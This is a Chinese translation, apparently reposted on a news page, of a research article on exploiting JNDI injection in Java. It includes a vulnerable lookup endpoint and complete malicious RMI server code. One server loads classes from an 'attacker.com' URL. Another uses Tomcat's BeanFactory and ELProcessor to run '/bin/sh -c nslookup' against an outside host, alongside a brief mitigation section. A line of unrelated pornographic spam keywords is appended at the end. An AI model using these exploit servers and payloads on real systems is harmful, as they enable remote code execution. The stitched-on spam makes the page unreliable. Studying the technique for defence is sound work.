新聞詳情

Java中的JNDI注入利用

 

Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI)是允許客戶端通過名稱發現和查找數據及對象的JAVA API。這些對象會保存在不同的命名和目錄服務中,例如遠程方法調用(RMI),公共對象請求代理結果(CORBA),輕目錄訪問協議(LDAP),或域名服務。


換句話說,JNDI是一個簡單JAVA API(例如InitialContext.lookup(String name)),僅接受一個String參數,如果該參數來自不受信任的源,它可能會導致通過遠程類加載遠程代碼執行。


當請求對象的名稱被攻擊者控制,它可能將受害JAVA應用指向惡意的 rmi/ldap/coba 服務器并響應任意對象。如果這個對象是” javax.naming.Reference”類的實例,JNDI客戶端嘗試解析”classFactory”和” classFactoryLocation”屬性。


如果"classFactory"值相對于目標JAVA應用是未知的,JAVA會通過" URLClassLoader "從"classFactoryLocation"位置中獲取工廠字節碼。


由于它是簡單的,當'InitialContext.lookup'方法沒有直接暴露給受污染的數據時利用JAVA漏洞它是非常好用的。在某些情況下,還可能通過反序列化或不安全反射攻擊來實現。


漏洞代碼示例:


  @RequestMapping("/lookup")
    @Example(uri = {"/lookup?name=java:comp/env"})
    public Object lookup(@RequestParam String name) throws Exception{
        return new javax.naming.InitialContext().lookup(name);
    }



在JDK1.8.0_191之前的JNDI注入利用

通過請求URL "/lookup/?name=ldap://127.0.0.1:1389/Object",我們可以使漏洞服務器連接到我們控制的地址。要觸發遠程加載類,一個惡意的RMI服務器可以參考以下進行響應:

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}


由于"ExploitObject"對目標服務器是未知的,它的字節碼將會從"http://_attacker.com_/ExploitObject.class"加載并執行,從而觸發RCE。


當Oracle添加RMI代碼庫限制時,這個方法在Java 8u121上是有效的。在那之后,可以使用返回相同源的惡意LDAP服務器,如"A Journey from JNDI/LDAP manipulation to remote code execution dream land"研究中描述的那樣??梢栽贕ithub中'Java Unmarshaller Security'項目找到代碼示例。

兩年后,在更新的Java 8u191中,Oracle 在LDAP向量中設置了相同的限制并發布了CVE-2018-3149,關掉了JNDI遠程類加載的大門。然而,它仍然可以通過JNDI注入觸發不受信任反序列化數據,但是利用很大程序上取決于現有的工具


在JDK 1.8.0_191上利用JNDI注入


從Java 8u191開始,當JNDI客戶端接收到引用對象時,"classFactoryLocation"在RMI和LDAP中是不起作用的。另一方面,我們仍可以在"javaFactory"屬性中指定任意工廠類。

該類將用于從攻擊者控制的"javax.naming.Reference"類中提取出真實對象。它應該存在于目標的classpath中,實現"javax.naming.spi.ObjectFactory"并且至少有一個"getObjectInstance"方法:

public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment)
        throws Exception;
}


主要想法是在目標classpath中找到一個工廠,它通過引用的屬性做一些危險的事情。在JDK和流行的類庫中查找此方法的不同實現,我們發現利用時非常有趣。

Apache Tomcat中"org.apache.naming.factory.BeanFactory"包含通過反射創建Bean的邏輯:

public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment)
        throws NamingException {
         if (obj instanceof ResourceRef) {
             try { 
                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }
                 ...
                 BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                 Object bean = beanClass.getConstructor().newInstance();
                 /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;
                 if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;
                     /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }
                 Enumeration e = ref.getAll();
                 while (e.hasMoreElements()) {
                     ra = e.nextElement();
                    String propName = ra.getType();
                     if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }
                     value = (String)ra.getContent();
                     Object[] valueArray = new Object[1];
                     /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }

類"BeanFactory"創建任意Bean的實例并為所有屬性調用它的setter方法。目標Bean類名,屬性,和屬性值全都來自于攻擊者控制的引用對象。

目標類應該有一個public 無參構造方法和僅有一個”String”參數的public setter方法。實際上,這些setter方法不一定都是’set‘開頭,就像"BeanFactory"包含圍繞我們可以為任何參數指定任意setter名稱的邏輯。

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
     /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }

這里神奇的屬性是"forceString"。通過設置它,比如設置"x=eval",我們可以為屬性’x’調用eval方法來代替’setX’。因此,使用"BeanFactory"類,我們可以通過默認構造方法創建任意類的實例,并使用一個"String"參數調用任一public方法。


其中最有可能的類就是"javax.el.ELProcessor"。在它的"eval"方法中,我們可以指定一個字符串來表示要執行的Java EL表達式。

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }

下面是一個惡意的表達式,它將執行惡意命令

 {"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}


環環相扣


在補丁之后,LDAP和RMI幾乎沒有區別用于利用目的,為了簡單我們將使用RMI

我們編寫了自己的惡意RMI服務器用于響應精心設計"ResourceRef"對象

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

此服務器使用'org.apache.naming.ResourceRef'的序列化對象進行響應,并使用所有精心設計的屬性去觸發客戶端所需要的行為。


在JAVA進程中觸發JNDI解析


new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

反序列化此對象時不會產生任何不良后果,但由于它仍然繼承了"javax.naming.Reference",‘害者端’使用工廠"org.apache.naming.factory.BeanFactory"從引用中獲取’真實’對象。

在此階段,將觸發模版賦值的遠程代碼執行,即'nslookup jndi.s.artsploit.com'命令將被執行。

這里唯一的限制是目標JAVA應用classpath中應該有一個來自Apache Tomcat的"org.apache.naming.factory.BeanFactory"類。但其它的應用服務器可能擁有其它危險函數的對象工廠。


解決方法


該問題實際上不包含在JDK或者Apache Tomcat的類庫中,而是將用戶可控數據傳遞給"InitialContext.lookup()"方法的自定義應用程序中,因此安裝所有安全補丁的JDK版本中仍然存在安全風險。請記住大多數情況下,其它漏洞(比如”不受信任的反序列化數據”)也可導致JNDI解析。使用源代碼審計來防止這些漏洞始終是一個好主意。


原文鏈接:https://www.veracode.com/blog/research/exploiting-jndi-injections-java

 

欧美最新精品videossexohd_激烈的床震戏大叫视频_可以直接在线看的毛片